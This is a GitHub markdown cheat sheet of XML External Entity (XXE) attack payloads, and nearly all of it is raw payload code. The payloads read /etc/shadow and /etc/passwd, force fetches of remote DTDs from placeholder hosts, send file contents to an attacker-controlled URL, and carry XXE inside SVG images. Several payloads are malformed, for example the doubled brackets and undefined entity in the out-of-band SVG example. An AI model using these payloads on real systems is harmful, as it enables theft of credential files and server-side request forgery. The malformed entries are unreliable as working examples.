Skip to content

Latest commit

 

History

History
86 lines (58 loc) · 3.16 KB

XML-External-Entity-(XXE)-Payloads.md

File metadata and controls

86 lines (58 loc) · 3.16 KB
Raw

XXE: Basic XML Example

<userInfo>
  <firstName>Rahul</firstName>
  <lastName>Jain</lastName>
</userInfo>

XXE: Entity Example

<!DOCTYPE replace [
<!ENTITY test "Doe"> ]> 
 <userInfo>
   <firstName>Rahul</firstName>
   <lastName>&test;</lastName>
 </userInfo>

XXE: File Disclosure Example

<!DOCTYPE replace [
 <!ENTITY test SYSTEM "file:///etc/shadow"> ]>
 <userInfo>
   <firstName>Rahul</firstName>
   <lastName>&test;</lastName>
 </userInfo>

XXE: Local File Inclusion Example

<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

XXE: Server Side Request Forgery Example

<!DOCTYPE reset [
<!ENTITY % remote SYSTEM 'http://IP/file_name'>
%remote;
%int;
%trick; ]>

XXE: Payload Using DTD File

<!ENTITY % a SYSTEM 'file:///etc/passwd'>
<!ENTITY % b "<!ENTITY &#x25; c SYSTEM 'your website/?cookie=%a;'> " > 
%b;
%c;

(&#x25),(&#37) Are the Hex and decimal value of (%)

To Call This File

<!DOCTYPE xxe [
<!ENTITY % remote SYSTEM 'http://IP/file_name'>
%remote;

XXE: Exploit Using SVG Image

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

XXE: Exploit Using SVG Image (Out Of Band Method)

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <<!ENTITY % a SYSTEM "file:///etc/hostname" >>  <!ENTITY b SYSTEM "ur ip/x=?%a; " > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>